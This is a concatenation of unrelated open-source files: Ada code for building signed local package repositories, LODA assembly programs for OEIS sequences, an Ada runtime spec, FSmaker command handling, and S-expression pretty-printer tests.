end acceptable_RSA_signing_support;
--------------------------------------------------------------------------------------------
-- set_raven_conf_with_RSA
--------------------------------------------------------------------------------------------
function set_raven_conf_with_RSA return Boolean
is
file_prefix : constant String := get_file_prefix;
key_private : constant String := file_prefix & "private.key";
key_public : constant String := file_prefix & "public.key";
found_private : constant Boolean := DIR.Exists (key_private);
found_public : constant Boolean := DIR.Exists (key_public);
begin
return
found_public and then
found_private and then
file_permissions (key_private) = "400";
end set_raven_conf_with_RSA;
--------------------------------------------------------------------------------------------
-- get_file_prefix
--------------------------------------------------------------------------------------------
function get_file_prefix return String is
begin
return PM.raven_confdir & "/" & HT.USS (PM.configuration.profile) & "-";
end get_file_prefix;
--------------------------------------------------------------------------------------------
-- file_permissions
--------------------------------------------------------------------------------------------
function file_permissions (full_path : String) return String
is
function OS_command return String;
content : HT.Text;
status : Integer;
function OS_command return String is
begin
case platform_type is
when dragonfly |
freebsd |
netbsd |
openbsd |
macos => return "/usr/bin/stat -f %Lp ";
when linux |
sunos => return "/usr/bin/stat -L --format=%a ";
end case;
end OS_command;
command : constant String := HT.USS (PM.configuration.dir_sysroot) & OS_command & full_path;
begin
content := Unix.piped_command (command, status);
if status /= 0 then
return "000";
end if;
return HT.first_line (HT.USS (content));
end file_permissions;
--------------------------------------------------------------------------------------------
-- host_pkg8_conservative_upgrade_set
--------------------------------------------------------------------------------------------
function host_pkg8_conservative_upgrade_set return Boolean
is
command : constant String := host_pkg8 & " config CONSERVATIVE_UPGRADE";
content : HT.Text;
status : Integer;
begin
content := Unix.piped_command (command, status);
return (HT.first_line (HT.USS (content)) = "yes");
end host_pkg8_conservative_upgrade_set;
--------------------------------------------------------------------------------------------
-- get_repos_dir
--------------------------------------------------------------------------------------------
function get_repos_dir return String
is
command : String := host_pkg8 & " config repos_dir";
status : Integer;
markers : HT.Line_Markers;
repdirs : String := HT.USS (Unix.piped_command (command, status));
default : constant String := host_localbase & "/etc/pkg/repos";
begin
if status /= 0 then
-- command failed, use default
return default;
end if;
HT.initialize_markers (repdirs, markers);
loop
exit when not HT.next_line_present (repdirs, markers);
declare
line : constant String := HT.extract_line (repdirs, markers);
begin
if line /= "/etc/pkg" then
return line;
end if;
end;
end loop;
-- fallback, use default
return default;
end get_repos_dir;
--------------------------------------------------------------------------------------------
-- write_pkg_repos_configuration_file
--------------------------------------------------------------------------------------------
function write_pkg_repos_configuration_file return Boolean
is
repdir : constant String := get_repos_dir;
target : constant String := repdir & "/00_raven.conf";
pkgdir : constant String := HT.USS (PM.configuration.dir_packages);
pubkey : constant String := get_file_prefix & "-public.key";
keydir : constant String := PM.raven_confdir & "/keys";
tstdir : constant String := keydir & "/trusted";
autgen : constant String := "# Automatically generated." & LAT.LF;
fpfile : constant String := tstdir & "/fingerprint." & HT.USS (PM.configuration.profile);
handle : TIO.File_Type;
vscmd : Boolean := False;
begin
if DIR.Exists (target) then
DIR.Delete_File (target);
elsif not DIR.Exists (repdir) then
DIR.Create_Path (repdir);
end if;
TIO.Create (File => handle, Mode => TIO.Out_File, Name => target);
TIO.Put_Line (handle, autgen);
TIO.Put_Line (handle, "Raven: {");
TIO.Put_Line (handle, " url : file://" & pkgdir & ",");
TIO.Put_Line (handle, " priority : 0,");
TIO.Put_Line (handle, " enabled : yes,");
if valid_signing_command then
vscmd := True;
TIO.Put_Line (handle, " signature_type : FINGERPRINTS,");
TIO.Put_Line (handle, " fingerprints : " & keydir);
elsif set_raven_conf_with_RSA then
TIO.Put_Line (handle, " signature_type : PUBKEY,");
TIO.Put_Line (handle, " pubkey : " & LAT.Quotation & pubkey & LAT.Quotation);
end if;
TIO.Put_Line (handle, "}");
TIO.Close (handle);
if vscmd then
if DIR.Exists (fpfile) then
DIR.Delete_File (fpfile);
elsif not DIR.Exists (tstdir) then
DIR.Create_Path (tstdir);
end if;
TIO.Create (File => handle, Mode => TIO.Out_File, Name => fpfile);
TIO.Put_Line (handle, autgen);
TIO.Put_Line (handle, "function : sha256");
TIO.Put_Line (handle, "fingerprint : " & profile_fingerprint);
TIO.Close (handle);
end if;
return True;
exception
when others =>
TIO.Put_Line ("Error: failed to create " & target);
if TIO.Is_Open (handle) then
TIO.Close (handle);
end if;
return False;
end write_pkg_repos_configuration_file;
--------------------------------------------------------------------------------------------
-- rebuild_local_respository
--------------------------------------------------------------------------------------------
procedure preclean_repository (repository : String)
is
begin
if PortScan.Scan.scan_repository (repository) then
PortScan.Operations.eliminate_obsolete_packages;
end if;
end preclean_repository;
--------------------------------------------------------------------------------------------
-- rebuild_local_respository
--------------------------------------------------------------------------------------------
procedure rebuild_local_respository (remove_invalid_packages : Boolean)
is
------------------------------------------------------------
-- fully_scan_tree must be executed before this routine --
------------------------------------------------------------
repo : constant String := HT.USS (PM.configuration.dir_repository);
main : constant String := HT.USS (PM.configuration.dir_packages);
xz_meta : constant String := main & "/meta.tzst";
xz_digest : constant String := main & "/digests.tzst";
xz_pkgsite : constant String := main & "/packagesite.tzst";
bs_error : constant String := "Rebuild Repository: Failed to bootstrap builder";
build_res : Boolean;
begin
if remove_invalid_packages then
preclean_repository (repo);
end if;
if DIR.Exists (xz_meta) then
DIR.Delete_File (xz_meta);
end if;
if DIR.Exists (xz_digest) then
DIR.Delete_File (xz_digest);
end if;
if DIR.Exists (xz_pkgsite) then
DIR.Delete_File (xz_pkgsite);
end if;
if valid_signing_command then
build_res := build_repository (signing_command);
elsif acceptable_RSA_signing_support then
build_res := build_repository;
else
build_res := False;
end if;
if build_res then
TIO.Put_Line ("Local repository successfully rebuilt.");
else
TIO.Put_Line ("Failed to rebuild repository.");
end if;
end rebuild_local_respository;
--------------------------------------------------------------------------------------------
-- silent_exec
--------------------------------------------------------------------------------------------
procedure silent_exec (command : String)
is
cmd_output : HT.Text;
success : Boolean := Unix.piped_mute_command (command, cmd_output);
begin
if not success then
raise bad_command with command & " => failed: " & HT.USS (cmd_output);
end if;
end silent_exec;
--------------------------------------------------------------------------------------------
-- build_repository
--------------------------------------------------------------------------------------------
function build_repository (sign_command : String := "") return Boolean
is
key_private : constant String := get_file_prefix & "private.key";
use_key : constant Boolean := DIR.Exists (key_private);
use_cmd : constant Boolean := (sign_command /= "");
pkgdir : constant String := HT.USS (PM.configuration.dir_packages);
command : constant String := host_pkg8 & " repo -q " & pkgdir;
sc_cmd : constant String := command & " signing_command: " & sign_command;
cmd_out : HT.Text;
begin
if use_key then
TIO.Put_Line ("Rebuilding RSA-signed local repository ...");
silent_exec (command & " " & key_private);
elsif use_cmd then
TIO.Put_Line ("Rebuilding externally-signed local repository ...");
silent_exec (sc_cmd);
else
TIO.Put_Line ("Rebuilding local repository ...");
silent_exec (command);
end if;
return True;
exception
when quepaso : others =>
TIO.Put_Line (EX.Exception_Message (quepaso));
return False;
end build_repository;
end Repository;
|
programs/oeis/253/A253811.asm | jmorken/loda | 1 | 84569 | ; A253811: Part of the y solutions of the Pell equation x^2 - 2*y^2 = +7.
; 3,19,111,647,3771,21979,128103,746639,4351731,25363747,147830751,861620759,5021893803,29269742059,170596558551,994309609247,5795261096931,33777256972339,196868280737103,1147432427450279,6687726283964571,38978925276337147
mul $0,2
mov $1,3
lpb $0
sub $0,1
mov $2,$1
mov $1,5
add $3,$2
add $1,$3
add $3,$2
lpe
|
source/asis/spec/annex_d/ada-synchronous_task_control.ads | faelys/gela-asis | 4 | 11222 | ------------------------------------------------------------------------------
-- A d a r u n - t i m e s p e c i f i c a t i o n --
-- ASIS implementation for Gela project, a portable Ada compiler --
-- http://gela.ada-ru.org --
-- - - - - - - - - - - - - - - - --
-- Read copyright and license at the end of ada.ads file --
------------------------------------------------------------------------------
-- $Revision: 209 $ $Date: 2013-11-30 21:03:24 +0200 (Сб., 30 нояб. 2013) $
package Ada.Synchronous_Task_Control is
pragma Preelaborate (Synchronous_Task_Control);
type Suspension_Object is limited private;
procedure Set_True (S : in out Suspension_Object);
procedure Set_False (S : in out Suspension_Object);
function Current_State (S : in Suspension_Object) return Boolean;
procedure Suspend_Until_True (S : in out Suspension_Object);
private
pragma Import (Ada, Suspension_Object);
end Ada.Synchronous_Task_Control;
|
programs/oeis/046/A046657.asm | jmorken/loda | 1 | 103266 | ; A046657: a(n) = A002088(n)/2.
; 1,2,3,5,6,9,11,14,16,21,23,29,32,36,40,48,51,60,64,70,75,86,90,100,106,115,121,135,139,154,162,172,180,192,198,216,225,237,245,265,271,292,302,314,325,348,356,377,387,403,415,441,450,470,482,500,514,543,551,581,596,614,630,654,664,697,713,735,747,782,794,830,848,868,886,916,928,967,983,1010,1030,1071,1083,1115,1136,1164,1184,1228,1240,1276,1298,1328,1351,1387,1403,1451,1472,1502,1522,1572,1588,1639,1663,1687,1713,1766,1784,1838,1858,1894,1918,1974,1992,2036,2064,2100,2129,2177,2193,2248,2278,2318,2348,2398,2416,2479,2511,2553,2577,2642,2662,2716,2749,2785,2817,2885,2907,2976,3000,3046,3081,3141,3165,3221,3257,3299,3335,3409,3429,3504,3540,3588,3618,3678,3702,3780,3819,3871,3903,3969,3996,4077,4117,4157,4198,4281,4305,4383,4415,4469,4511,4597,4625,4685,4725,4783,4827,4916,4940,5030,5066,5126,5170,5242,5272,5352,5398,5452,5488,5583,5615,5711,5759,5807,5849,5947,5977,6076,6116,6182,6232,6316,6348,6428,6479,6545,6593,6683,6707,6812,6864,6934,6987,7071,7107,7197,7251,7323,7363,7459,7495,7606,7654,7714,7770,7883,7919,8033,8077,8137,8193,8309,8345,8437,8495,8573,8621,8740,8772,8892,8947,9028,9088,9172,9212,9320,9380,9462,9512,9637
mov $2,$0
mov $3,$0
add $3,1
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
add $0,1
cal $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
mov $5,$0
sub $5,1
mov $4,$5
div $4,2
add $4,1
add $1,$4
lpe
|
programs/oeis/057/A057358.asm | karttu/loda | 1 | 81042 | <gh_stars>1-10
; A057358: a(n) = floor(4*n/7).
; 0,0,1,1,2,2,3,4,4,5,5,6,6,7,8,8,9,9,10,10,11,12,12,13,13,14,14,15,16,16,17,17,18,18,19,20,20,21,21,22,22,23,24,24,25,25,26,26,27,28,28,29,29,30,30,31,32,32,33,33,34,34,35,36,36,37,37,38,38,39,40,40,41,41,42,42,43,44,44,45,45,46,46,47,48,48,49,49,50,50,51,52,52,53,53,54,54,55,56,56,57,57,58,58,59,60,60,61,61,62,62,63,64,64,65,65,66,66,67,68,68,69,69,70,70,71,72,72,73,73,74,74,75,76,76,77,77,78,78,79,80,80,81,81,82,82,83,84,84,85,85,86,86,87,88,88,89,89,90,90,91,92,92,93,93,94,94,95,96,96,97,97,98,98,99,100,100,101,101,102,102,103,104,104,105,105,106,106,107,108,108,109,109,110,110,111,112,112,113,113,114,114,115,116,116,117,117,118,118,119,120,120,121,121,122,122,123,124,124,125,125,126,126,127,128,128,129,129,130,130,131,132,132,133,133,134,134,135,136,136,137,137,138,138,139,140,140,141,141,142
mul $0,4
div $0,7
mov $1,$0
|
programs/oeis/063/A063124.asm | jmorken/loda | 1 | 92379 | ; A063124: a(n) = # { i prime | prime(n) <= i < prime(n)*2 } (prime(n) = A000040, the prime enumeration).
; 2,2,2,3,4,4,5,5,6,7,8,10,10,10,10,12,14,13,14,15,14,16,16,17,20,21,20,20,19,19,24,24,26,26,28,27,29,29,29,29,31,31,33,33,33,33,36,39,39,39,40,40,40,42,43,44,43,43,43,43,43,45,50,51,50,50,55,55,57,56,56,56,58,59,60,60,61,61,61,62,65,65,67,67,67,68,68,69,69,68,68,71,72,72,74,73,74,78,77,81,83,85,86,86,85,86,87,87,88,88,88,89,90,90,91,92,92,93,95,95,96,96,95,95,97,97,97,100,103,103,103,104,107,107,106,107,107,111,112,116,117,118,117,116,116,118,120,120,119,120,123,123,122,121,126,125,126,126,129,130,130,130,133,132,133,132,133,134,138,137,138,138,138,138,138,141,141,142,141,143,146,146,145,144,144,145,145,147,147,153,152,153,155,157,157,159,161,163,162,163,163,163,164,164,164,169,169,168,167,167,168,167,166,166,168,167,167,180,181,181,182,186,187,190,190,190,190,189,190,190,190,191,192,193,193,194,193,192,191,194,196,197,199,199,198,198,199,199,198,198
mov $2,1
sub $2,$0
cal $0,20900 ; Greatest k such that k-th prime < twice n-th prime.
add $0,$2
mov $1,$0
sub $1,1
|
src/fsmaker-commands.adb | Fabien-Chouteau/fsmaker | 0 | 3084 | <reponame>Fabien-Chouteau/fsmaker
with Simple_Logging; use Simple_Logging;
with GNAT.OS_Lib; use GNAT.OS_Lib;
with CLIC.User_Input;
with CLIC.TTY;
with FSmaker.Commands.Init;
with FSmaker.Commands.Mkdir;
with FSmaker.Commands.Tree;
with FSmaker.Commands.Import;
with FSmaker.Commands.Cat;
with FSmaker.Commands.Hexdump;
with FSmaker.Commands.Export;
with FSmaker.Commands.Build;
with FSmaker.Target.LittleFS;
package body FSmaker.Commands is
subtype Dispatch is Command'Class;
No_Color : aliased Boolean := False;
-- Force-disable color output
No_TTY : aliased Boolean := False;
-- Used to disable control characters in output
-------------------------
-- Set_Global_Switches --
-------------------------
procedure Set_Global_Switches
(Config : in out CLIC.Subcommand.Switches_Configuration)
is
use CLIC.Subcommand;
begin
Define_Switch (Config,
Sw_Format'Access,
"-f=", "--format=",
"Filesystem format (only 'littlefs' so far)");
Define_Switch (Config,
Sw_Image'Access,
"-i=", "--img=",
"Path to the image file to create/modify");
Define_Switch (Config,
"-h", "--help",
"Display general or command-specific help");
Define_Switch (Config,
Sw_Verbose'Access,
"-v",
Help => "Be more verbose (use twice for extra detail)");
Define_Switch (Config,
Sw_Debug'Access,
"-d",
Long_Switch => "--debug",
Help => "Enable debug-specific log messages");
Define_Switch (Config,
CLIC.User_Input.Not_Interactive'Access,
"-n", "--non-interactive",
"Assume default answers for all user prompts");
Define_Switch (Config,
No_Color'Access,
Long_Switch => "--no-color",
Help => "Disables colors in output");
Define_Switch (Config,
No_TTY'Access,
Long_Switch => "--no-tty",
Help => "Disables control characters in output");
end Set_Global_Switches;
-------------
-- Execute --
-------------
procedure Execute is
begin
Sub_Cmd.Parse_Global_Switches;
if No_TTY then
CLIC.TTY.Force_Disable_TTY;
end if;
if not No_Color and then not No_TTY then
CLIC.TTY.Enable_Color (Force => False);
-- This may still not enable color if TTY is detected to be incapable
end if;
Sub_Cmd.Execute;
end Execute;
---------------
-- Put_Error --
---------------
procedure Put_Error (Str : String) is
begin
Simple_Logging.Error (Str);
end Put_Error;
-----------------
-- Setup_Image --
-----------------
procedure Setup_Image (This : in out Command;
To_Format : Boolean := False)
is
use CLIC.User_Input;
begin
if Sw_Format = null or else Sw_Format.all = "" then
This.Usage_Error ("Missing required -f/--format switch");
elsif Sw_Format.all /= "littlefs" then
This.Usage_Error ("Invalid format (-f/--format) must be 'littlefs'");
end if;
if Sw_Image = null then
This.Usage_Error ("Missing required -i/--img switch");
end if;
if To_Format then
if not GNAT.OS_Lib.Is_Regular_File (Image_Path) then
-- The file doesn't exists, we try to create it
This.FD := Create_File (Image_Path, Binary);
if This.FD = Invalid_FD then
This.Failure ("Cannot create file '" & Image_Path & "'");
else
-- Create_File opens in read-only mode, so we close and re-open
-- in read-write mode.
This.Close_Image;
This.FD := Open_Read_Write (Image_Path, Binary);
end if;
elsif not GNAT.OS_Lib.Is_Owner_Writable_File (Image_Path) then
This.Failure ("Image file '" & Image_Path & "' is not writable");
else
Always ("Existing image file '" & Image_Path &
"' will be overwritten.");
if Query ("Do you want to continue?",
Valid => (Yes | No => True, Always => False),
Default => Yes) = Yes
then
This.FD := Open_Read_Write (Image_Path, Binary);
else
This.Failure ("Cannot overwrite existing file");
end if;
end if;
else
-- The image file should exists and be writable
if not GNAT.OS_Lib.Is_Regular_File (Image_Path) then
This.Failure ("Image file '" & Image_Path & "' does not exists");
elsif not GNAT.OS_Lib.Is_Owner_Writable_File (Image_Path) then
This.Failure ("Image file '" & Image_Path & "' is not writable");
else
This.FD := Open_Read_Write (Image_Path, Binary);
end if;
end if;
if This.FD = Invalid_FD then
This.Failure ("Cannot open image file '" & Image_Path & "'");
end if;
This.Target := new FSmaker.Target.LittleFS.Instance;
if not To_Format then
This.Target.Mount (This.FD);
end if;
end Setup_Image;
-----------------
-- Close_Image --
-----------------
procedure Close_Image (This : in out Command) is
begin
if This.FD /= Invalid_FD and then This.FD /= Null_FD then
Simple_Logging.Debug ("Closing FD");
Close (This.FD);
This.FD := Invalid_FD;
end if;
end Close_Image;
-------------
-- Success --
-------------
procedure Success (This : in out Command) is
begin
Always (Dispatch (This).Name & " success");
This.Close_Image;
end Success;
-------------
-- Failure --
-------------
procedure Failure (This : in out Command; Msg : String) is
begin
Error (Dispatch (This).Name & " failed: " & Msg);
This.Close_Image;
GNAT.OS_Lib.OS_Exit (1);
end Failure;
-----------------
-- Usage_Error --
-----------------
procedure Usage_Error (This : in out Command; Msg : String) is
begin
Error (Dispatch (This).Name & ": " & Msg);
This.Close_Image;
Sub_Cmd.Display_Usage;
GNAT.OS_Lib.OS_Exit (1);
end Usage_Error;
begin
Sub_Cmd.Register (new Sub_Cmd.Builtin_Help);
Sub_Cmd.Register (new FSmaker.Commands.Init.Instance);
Sub_Cmd.Register (new FSmaker.Commands.Mkdir.Instance);
Sub_Cmd.Register (new FSmaker.Commands.Tree.Instance);
Sub_Cmd.Register (new FSmaker.Commands.Import.Instance);
Sub_Cmd.Register (new FSmaker.Commands.Cat.Instance);
Sub_Cmd.Register (new FSmaker.Commands.Hexdump.Instance);
Sub_Cmd.Register (new FSmaker.Commands.Export.Instance);
Sub_Cmd.Register (new FSmaker.Commands.Build.Instance);
end FSmaker.Commands;
|
ohce/key/getkey.asm | Silva97/asm-tools | 3 | 3999 | <reponame>Silva97/asm-tools
bits 16
;;;;;
; Gets a key if it is pressed.
; Return:
; AX The code of the key. Zero if not have a pressed key.
;;;;;
getkey:
mov ah, 0x01
int 0x16
jz .stop
mov ah, 0x00
int 0x16
.stop:
ret |
test/js/TestBool.agda | redfish64/autonomic-agda | 1 | 17056 | open import Common.Prelude
open import TestHarness
module TestBool where
not : Bool → Bool
not true = false
not false = true
{-# COMPILED_JS not function (x) { return !x; } #-}
_∧_ : Bool → Bool → Bool
true ∧ x = x
false ∧ x = false
{-# COMPILED_JS _∧_ function (x) { return function (y) { return x && y; }; } #-}
_∨_ : Bool → Bool → Bool
true ∨ x = true
false ∨ x = x
{-# COMPILED_JS _∨_ function (x) { return function (y) { return x || y; }; } #-}
_↔_ : Bool → Bool → Bool
true ↔ true = true
false ↔ false = true
_ ↔ _ = false
{-# COMPILED_JS _↔_ function (x) { return function (y) { return x === y; }; } #-}
tests : Tests
tests _ = (
assert true "tt" ,
assert (not false) "!ff" ,
assert (true ∧ true) "tt∧tt" ,
assert (not (true ∧ false)) "!(tt∧ff)" ,
assert (not (false ∧ false)) "!(ff∧ff)" ,
assert (not (false ∧ true)) "!(ff∧tt)" ,
assert (true ∨ true) "tt∨tt" ,
assert (true ∨ false) "tt∨ff" ,
assert (false ∨ true) "ff∨tt" ,
assert (not (false ∨ false)) "!(ff∧ff)" ,
assert (true ↔ true) "tt=tt" ,
assert (not (true ↔ false)) "tt≠ff" ,
assert (not (false ↔ true)) "ff≠tt" ,
assert (false ↔ false) "ff=ff"
)
|
tests/natools-s_expressions-printers-pretty-tests.adb | faelys/natools | 0 | 3713 | <filename>tests/natools-s_expressions-printers-pretty-tests.adb
------------------------------------------------------------------------------
-- Copyright (c) 2014, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
with Ada.Characters.Latin_1;
with Natools.S_Expressions.Encodings;
with Natools.S_Expressions.Parsers;
with Natools.S_Expressions.Test_Tools;
package body Natools.S_Expressions.Printers.Pretty.Tests is
package Latin_1 renames Ada.Characters.Latin_1;
procedure Parse_Print_Test
(Test : in out NT.Test;
Param : in Parameters;
Expected : in Atom);
-- Parse Expected and feed it into a new pretty printer, checking
-- the result is identical to Expected.
------------------------------
-- Local Helper Subprograms --
------------------------------
procedure Parse_Print_Test
(Test : in out NT.Test;
Param : in Parameters;
Expected : in Atom) is
begin
declare
Input, Output : aliased Test_Tools.Memory_Stream;
Parser : Parsers.Stream_Parser (Input'Access);
Pretty_Printer : Stream_Printer (Output'Access);
begin
Input.Set_Data (Expected);
Output.Set_Expected (Expected);
Pretty_Printer.Set_Parameters (Param);
Parser.Next;
Transfer (Parser, Pretty_Printer);
Output.Check_Stream (Test);
end;
exception
when Error : others =>
Test.Report_Exception (Error);
end Parse_Print_Test;
-------------------------
-- Complete Test Suite --
-------------------------
procedure All_Tests (Report : in out NT.Reporter'Class) is
begin
Basic_Printing (Report);
Atom_Encodings (Report);
Separators (Report);
Atom_Width (Report);
Quoted_String_Escapes (Report);
Indentation (Report);
Newline_Formats (Report);
Token_Separation (Report);
Parameter_Mutators (Report);
Expression_Width (Report);
Tabulation_Width (Report);
end All_Tests;
-----------------------
-- Inidividual Tests --
-----------------------
procedure Atom_Encodings (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Atom encodings");
Param : Parameters := Canonical;
begin
Parse_Print_Test (Test, Param,
To_Atom ("17:verbatim" & Latin_1.NUL & "encoding"));
Param.Fallback := Hexadecimal;
Parse_Print_Test (Test, Param,
To_Atom ("#48657861646563696D616C03456E636F64696E670A#"));
Param.Hex_Casing := Encodings.Lower;
Parse_Print_Test (Test, Param,
To_Atom ("#4c6f7765722043617365204865786164"
& "6563696d616c03456e636f64696e670a#"));
Param.Fallback := Base64;
Parse_Print_Test (Test, Param,
To_Atom ("|QmFzZS02NAllbmNvZGluZwo=|"));
Param.Quoted := Single_Line;
Parse_Print_Test (Test, Param,
To_Atom ("""quoted\r\nstring\tencoding"""));
Param.Token := Standard_Token;
Parse_Print_Test (Test, Param,
To_Atom ("(standard token ""123""encoding)"));
Param.Token := Extended_Token;
Parse_Print_Test (Test, Param,
To_Atom ("(extended token 123 encoding)"));
exception
when Error : others => Test.Report_Exception (Error);
end Atom_Encodings;
procedure Atom_Width (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Atom width");
Param : Parameters
:= (Width => 10,
Newline_At => (others => (others => False)),
Space_At => (others => (others => False)),
Tab_Stop => 8,
Indentation => 3,
Indent => Spaces,
Quoted => No_Quoted,
Token => No_Token,
Hex_Casing => Encodings.Upper,
Quoted_Escape => Hex_Escape,
Char_Encoding => ASCII,
Fallback => Hexadecimal,
Newline => LF);
begin
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom ("(" & Latin_1.LF
& " #303132" & Latin_1.LF
& " 333435" & Latin_1.LF
& " 3637#)"));
Pr.Set_Parameters (Param);
Pr.Open_List;
Pr.Append_Atom (To_Atom ("01234567"));
Pr.Close_List;
Output.Check_Stream (Test);
end;
Param.Fallback := Base64;
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom ("(" & Latin_1.LF
& " | YWJj" & Latin_1.LF
& " REVG" & Latin_1.LF
& " Z2hp" & Latin_1.LF
& " SktM" & Latin_1.LF
& " |)"));
Pr.Set_Parameters (Param);
Pr.Open_List;
Pr.Append_Atom (To_Atom ("abcDEFghiJKL"));
Pr.Close_List;
Output.Check_Stream (Test);
end;
exception
when Error : others => Test.Report_Exception (Error);
end Atom_Width;
procedure Basic_Printing (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Basic printing");
begin
declare
Output : aliased Test_Tools.Memory_Stream;
P : Stream_Printer (Output'Access);
begin
Output.Set_Expected (To_Atom ("(7:command(6:subarg)3:arg)3:end"));
P.Set_Parameters (Canonical);
P.Open_List;
P.Append_Atom (To_Atom ("command"));
P.Open_List;
P.Append_Atom (To_Atom ("subarg"));
P.Close_List;
P.Append_Atom (To_Atom ("arg"));
P.Close_List;
P.Append_Atom (To_Atom ("end"));
Output.Check_Stream (Test);
end;
exception
when Error : others => Test.Report_Exception (Error);
end Basic_Printing;
procedure Expression_Width (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("S-expression width");
Param : constant Parameters
:= (Width => 6,
Newline_At => (others => (others => True)),
Space_At => (others => (others => False)),
Tab_Stop => 8,
Indentation => 0,
Indent => Tabs_And_Spaces,
Quoted => Single_Line,
Token => No_Token,
Hex_Casing => Encodings.Upper,
Quoted_Escape => Hex_Escape,
Char_Encoding => UTF_8,
Fallback => Verbatim,
Newline => LF);
begin
declare
Output : aliased Test_Tools.Memory_Stream;
P, Q : Stream_Printer (Output'Access);
Template : constant Atom (1 .. 6) := To_Atom ("é-123");
begin
Output.Set_Expected (To_Atom
("""\xC3""" & Latin_1.LF
& """é""" & Latin_1.LF
& """é-""" & Latin_1.LF
& """é-1""" & Latin_1.LF
& """é-12""" & Latin_1.LF
& "6:é-123" & Latin_1.LF
& '"' & Character'Val (16#C3#) & '"' & Latin_1.LF
& """é""" & Latin_1.LF
& """é-""" & Latin_1.LF
& """é-1""" & Latin_1.LF
& "5:é-12" & Latin_1.LF
& "6:é-123"));
P.Set_Parameters (Param);
Q.Set_Parameters (Param);
Q.Set_Char_Encoding (Latin);
for I in Template'Range loop
P.Append_Atom (Template (Template'First .. I));
end loop;
P.Newline;
for I in Template'Range loop
Q.Append_Atom (Template (Template'First .. I));
end loop;
Output.Check_Stream (Test);
end;
exception
when Error : others => Test.Report_Exception (Error);
end Expression_Width;
procedure Indentation (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Indentation");
Param : Parameters
:= (Width => 16,
Newline_At => (others => (others => False)),
Space_At => (others => (others => False)),
Tab_Stop => 8,
Indentation => 3,
Indent => Tabs_And_Spaces,
Quoted => Single_Line,
Token => Standard_Token,
Hex_Casing => Encodings.Upper,
Quoted_Escape => Hex_Escape,
Char_Encoding => ASCII,
Fallback => Verbatim,
Newline => LF);
begin
Parse_Print_Test (Test, Param, To_Atom
("(first-level(" & Latin_1.LF
& " second-level" & Latin_1.LF
& " (third" & Latin_1.LF
& Latin_1.HT & " level" & Latin_1.LF
& Latin_1.HT & " ""Q#""))" & Latin_1.LF
& " end)"));
Param.Indent := Spaces;
Param.Token := Extended_Token;
Parse_Print_Test (Test, Param, To_Atom
("(first-level(" & Latin_1.LF
& " second-level" & Latin_1.LF
& " (third" & Latin_1.LF
& " level" & Latin_1.LF
& " ""Q)""))" & Latin_1.LF
& " end)"));
Param.Indent := Tabs;
Param.Indentation := 1;
Param.Tab_Stop := 5;
Parse_Print_Test (Test, Param, To_Atom
("(first-level(" & Latin_1.LF
& Latin_1.HT & Latin_1.HT & "second-level" & Latin_1.LF
& Latin_1.HT & Latin_1.HT & "(third" & Latin_1.LF
& Latin_1.HT & Latin_1.HT & Latin_1.HT & "level" & Latin_1.LF
& Latin_1.HT & Latin_1.HT & Latin_1.HT & "2:Q(" & Latin_1.LF
& Latin_1.HT & Latin_1.HT & "))end)"));
exception
when Error : others => Test.Report_Exception (Error);
end Indentation;
procedure Newline_Formats (Report : in out NT.Reporter'Class) is
Test : NT.Test := Report.Item ("Newline formats");
procedure Print (Pr : in out Stream_Printer);
procedure Print (Pr : in out Stream_Printer) is
begin
Pr.Open_List;
Pr.Append_Atom (To_Atom ("begin"));
Pr.Append_Atom (To_Atom
("quoted" & Latin_1.CR & Latin_1.LF & Latin_1.CR & "str"));
Pr.Close_List;
end Print;
Param : Parameters
:= (Width => 7,
Newline_At => (others => (others => False)),
Space_At => (others => (others => False)),
Tab_Stop => 8, -- unused
Indentation => 1,
Indent => Spaces,
Quoted => When_Shorter,
Token => Standard_Token,
Hex_Casing => Encodings.Upper,
Quoted_Escape => Hex_Escape,
Char_Encoding => ASCII,
Fallback => Hexadecimal,
Newline => CR);
begin
Param.Newline_At (Atom_Data, Atom_Data) := True;
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Pr.Set_Parameters (Param);
Output.Set_Expected (To_Atom
("(begin" & Latin_1.CR
& " ""quot\" & Latin_1.CR
& "ed" & Latin_1.CR
& "\n" & Latin_1.CR
& "str"")"));
Print (Pr);
Output.Check_Stream (Test);
end;
Param.Newline := LF;
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Pr.Set_Parameters (Param);
Output.Set_Expected (To_Atom
("(begin" & Latin_1.LF
& " ""quot\" & Latin_1.LF
& "ed\r" & Latin_1.LF
& "\rstr"")"));
Print (Pr);
Output.Check_Stream (Test);
end;
Param.Newline := CR_LF;
declare
Output : aliased Test_Tools.Memory_Stream;
Pr : Stream_Printer (Output'Access);
begin
Pr.Set_Parameters (Param);
Output.Set_Expected (To_Atom
("(begin" & Latin_1.CR & Latin_1.LF
& " ""quot\" & Latin_1.CR & Latin_1.LF
& "ed" & Latin_1.CR & Latin_1.LF
& "\rstr"")"));
Print (Pr);
Output.Check_Stream (Test);
end;
Param.Newline := LF_CR;
